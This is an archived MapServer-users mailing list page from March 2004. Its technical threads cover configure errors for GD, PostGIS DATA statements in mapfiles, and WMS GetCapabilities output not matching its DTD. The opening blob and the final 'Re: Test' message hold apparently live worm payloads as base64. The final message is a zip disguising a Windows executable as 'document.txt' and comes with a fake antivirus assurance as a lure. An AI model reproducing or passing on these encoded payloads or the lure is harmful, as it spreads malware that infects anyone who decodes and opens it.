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 ----------107038733363372-- From josb at pml.ac.uk Mon Mar 29 05:50:33 2004 From: josb at pml.ac.uk (John Beisley - RSG) Date: Mon, 29 Mar 2004 14:50:33 +0100 Subject: [Mapserver-users] mapserv compiling error In-Reply-To: <001001c41592$761a4c60$0300000a@desktop> References: <001001c41592$761a4c60$0300000a@desktop> Message-ID: <406829A9.8030802@pml.ac.uk> You want the GD library development version 2 package installed. How you do this depends on the distribution that you are using. ESSC Admin wrote: > When running ./configure on my remote webserver, these errors appear: > > > loading cache ./config.cache > checking for gcc... gcc > checking whether the C compiler (gcc ) works... yes > checking whether the C compiler (gcc ) is a cross-compiler... no > checking whether we are using GNU C... yes > checking whether gcc accepts -g... yes > checking for c++... c++ > checking whether the C++ compiler (c++ ) works... yes > checking whether the C++ compiler (c++ ) is a cross-compiler... no > checking whether we are using GNU C++... yes > checking whether c++ accepts -g... yes > checking for ranlib... ranlib > checking for flex... flex > checking for yywrap in -lfl... yes > checking for bison... bison -y > checking if compiler supports -R... no > checking if compiler supports -Wl,-rpath,... yes > checking for exp in -lm... yes > checking for __gxx_personality_v0 in -lstdc++... no > checking how to run the C preprocessor... /lib/cpp > checking for ANSI C header files... no > checking for strcasecmp... no > checking for strncasecmp... no > checking for strdup... no > checking whether we should include JPEG support... > checking for jpeg_read_header in -ljpeg... yes > using libjpeg from system libs. > checking where FreeType 2.x is installed... > checking for FT_Init_FreeType in -lfreetype... yes > using libfreetype -lfreetype from system libs. > checking where Zlib is installed... > checking for zlibVersion in -lz... yes > using libz from system libs. > checking where PNG is installed... > checking for png_init_io in -lpng... yes > using libpng from system libs. > checking where libXpm is installed... > checking for XpmFreeXpmImage in -lXpm... no > XPM (libXpm) library cannot be found, possibly needed for GD > checking where libiconv is installed... > checking for libiconv_open in -liconv... no > libiconv library cannot be found, possibly needed for GD > checking for GD 2.0.12 or higher... > checking for gdImageSetAntiAliased in -lgd... yes > checking for gdImageSetAntiAliased in -lgd... (cached) yes > configure: error: Could not find gd.h or libgd.a/libgd.so in > /usr/local. Make su > re GD 2.0.12 or higher is compiled before calling configure. > > What should I do next? I a newbie at linux so please bear with me. Thanks. > > Regards -- Website: www.pml.ac.uk Registered Charity No. 1091222 Company No. 4178503 ------------------------------------------------------------------- This e-mail, its content and any file attachments are confidential. If you have received this e-mail in error please do not copy, disclose it to any third party or use the contents or attachments in any way. Please notify the sender by replying to this e-mail or e-mail forinfo at pml.ac.uk and then delete the email without making any copies or using it in any other way. The content of this message may contain personal views which are not the views of Plymouth Marine Laboratory unless specifically stated. Email transmission cannot be guaranteed to be secure or error free From knozi at gmx.at Mon Mar 29 06:47:21 2004 From: knozi at gmx.at (Gernot Katzlberger) Date: Mon, 29 Mar 2004 16:47:21 +0200 Subject: AW: [Mapserver-users] postgis data statement In-Reply-To: Message-ID: <200403291447.i2TElmEe022211@lists.gis.umn.edu> hi perry & list, thanks for your help, a part of my problem is now fixed. I added a primary key to the postgis tables and it worked. now a discovered another problem. this statement using 3 classes works prefect: >DATA "the_geom from (select >gd_world_samplesite.the_geom,gd_world_samplesite.oid,td_samplesite.coordina >tesaccuracy,case >when td_samplesite.coordinatesaccuracy = 'A' then 0 >when td_samplesite.coordinatesaccuracy = 'P' then 1 >when td_samplesite.coordinatesaccuracy = 'S' then 2 >end as myclass >from gd_world_samplesite,td_samplesite where gd_world_samplesite.ssid = >td_samplesite.samplesiteid) >as foo USING SRID=4326" when I'm adding only one more class I get an "Internal Server Error" the apache error message says:"Premature end of script headers: /srv/www/cgi-bin/php". >DATA "the_geom from (select >gd_world_samplesite.the_geom,gd_world_samplesite.oid,td_samplesite.coordina >tesaccuracy,case >when td_samplesite.coordinatesaccuracy = 'A' then 0 >when td_samplesite.coordinatesaccuracy = 'P' then 1 >when td_samplesite.coordinatesaccuracy = 'S' then 2 >when td_samplesite.coordinatesaccuracy = 'T' then 3 >end as myclass >from gd_world_samplesite,td_samplesite where gd_world_samplesite.ssid = >td_samplesite.samplesiteid) >as foo USING SRID=4326" I' using php mapscript on a suse linux and postgres 7.3.4/postgis 0.8.1 (PHP MapScript Version ($Revision: 1.190 $ $Date: 2004/01/30 17:01:12 $)) MapServer version 4.1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=SDE INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE the statements are working in psql so I don't think it's a postgis problem. perhaps it is more on the mapscript side? many thanks, gernot -----Urspr?ngliche Nachricht----- Von: Pericles Nacionales [mailto:nacional at cbs.umn.edu] Gesendet: Freitag, 26. M?rz 2004 15:14 An: Gernot Katzlberger Cc: mapserver-users at lists.gis.umn.edu; Zamil.Murji at divestco.com Betreff: RE: [Mapserver-users] postgis data statement The first thing that comes to mind is... indices! But then I can't know what's going on with your database without any info. A little more background on what you have (hardware, database, mapserver config, sql query) would be helpful. Are you running the exact same query on psql and MapServer when you compared the execution time? Have you created gist indices on your postgis tables? If not, visit postgis's documentation and follow the example on creating a gist index. Good luck! -Perry On Fri, 26 Mar 2004, Gernot Katzlberger wrote: > hi pericles, zamil & list, > > my postgis data statement works now in Mapserver, but it needs ~5 min to > render it. when I start it, 99% of my system cpu usage is occupied by one > process: > > postgres: {user} {database} 127.0.0.1 FETCH > > > when I execute it in psql it works in milliseconds. > mapserver and postgresql/postgis are on the same server. I also checked the > user privileges. > > many thanks for your help, > > gernot > > > > > -----Urspr?ngliche Nachricht----- > Von: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] Im Auftrag von Pericles > Nacionales > Gesendet: Donnerstag, 25. M?rz 2004 16:52 > An: Zamil Murji > Cc: knozi; mapserver-users at lists.gis.umn.edu > Betreff: RE: [Mapserver-users] postgis data statement > > Gernot, > > Zamil is correct. If the SQL statement worked in psql (or some other > frontend), it should work in MapServer. If not, the first place to check > would be your PostgreSQL configuration and permissions. If your database > is running remotely you might want to check that you have configured > postgres to accept remote connections. If that is the case, try > connecting as postgres (or whatever pg admin account you created). If it > works, read the PostgreSQL docs for adding users. Sometimes it's just a > matter of giving an existing database user select privileges on your > postgis tables. I've posted other messages to related questions in the > past. Have a look at the MapServer-users archive as I don't have a > browser open. > > Cheers! > > Pericles S. Nacionales > nacional at biosci.umn.edu > > > On Thu, 25 Mar 2004, Zamil Murji wrote: > > > hi, > > > > Maybe it isn't the data statement that is hooped. Maybe you don't have the > proper permissions set for the database. Does the user/password that you > supply to your connection string work? Is it a TRUSTed user? Maybe you need > to give the box that mapserver is installed on TRUSTed access to that > postgres db. Take a look at your pg_conf.hba file (i think that is what it > is called). > > > > Hope this helps. > > Zamil > > > > -----Original Message----- > > From: mapserver-users-admin at lists.gis.umn.edu > > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of knozi > > Sent: Thursday, March 25, 2004 4:34 AM > > To: mapserver-users at lists.gis.umn.edu > > Subject: [Mapserver-users] postgis data statement > > > > > > hi list, > > i've some problems with a postgis data statement. > > > > DATA "the_geom from > > (select gd_world_samplesite.the_geom,td_samplesite.maxdepth,case > > when td_samplesite.maxdepth > 1000 then 1 > > when td_samplesite.maxdepth > 500 then 2 > > else 3 > > end as myclass > > from gd_world_samplesite,td_samplesite where > > gd_world_samplesite.ssid = td_samplesite.samplesiteid) > > as foo using unique gd_world_samplesite.oid using SRID=4326" > > > > when I execute the statement in postgres it works fine, but mapserver > cannot > > handle it. > > The funny thing is that a similar statement on the same server, but > > accessing another database, works. > > > > I'm using linux, postgresql 7.3.4, postgis 8.1 and Mapserver 4.1. > > > > any hints? > > > > thanks, > > gernot > > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From hjulien at nrcan.gc.ca Mon Mar 29 06:51:36 2004 From: hjulien at nrcan.gc.ca (Julien, Heryk) Date: Mon, 29 Mar 2004 09:51:36 -0500 Subject: [Mapserver-users] Getcapabilites XML does not respect DTD! Message-ID: <06B403677C41D51194550002A55107D201F79217@s5-stf1-r1.nrn.nrcan.gc.ca> Hi to all, I am attempting to apply a XSLT to a MapServer getcapabilities request without success. When I open the getcapabilites XML in XMLspy and try to validate it I get an error message: "Unexpected child element 'Keywordlist' ". Mapservers getcapabiliteis doesn't seem to respect the DTD specified in it's getcapabilities xml response. The following element order is not respected: In my getcapabilities file, the "keywordlist" is placed after the "onlineresource". I tried changing the order of my metadata in my mapfile but it still didn't work. Here is my getcapabilites request: http://www.cgcq.rncan.gc.ca/cgi-bin/mapserver/mapserv.exe?map=d:\webcgcq\map files\nb2004.map&VERSION=1.1.0&REQUEST=GetCapabilities&SERVICE=WMS& and the DTD specified in the getcapabilites response: http://www.digitalearth.gov/wmt/xml/capabilities_1_1_0.dtd Anyone can help me? H?ryk Julien From yecarrillo at hotmail.com Mon Mar 29 08:18:41 2004 From: yecarrillo at hotmail.com (yecarrillo at hotmail.com) Date: Mon, 29 Mar 2004 19:18:41 +0300 Subject: [Mapserver-users] Re: Test Message-ID: <200403291619.i2TGJ9Ee023202@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please authenticate the secure message. +++ Attachment: No Virus found +++ MC-Afee AntiVirus - www.mcafee.com ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="msg.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="msg.zip" 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 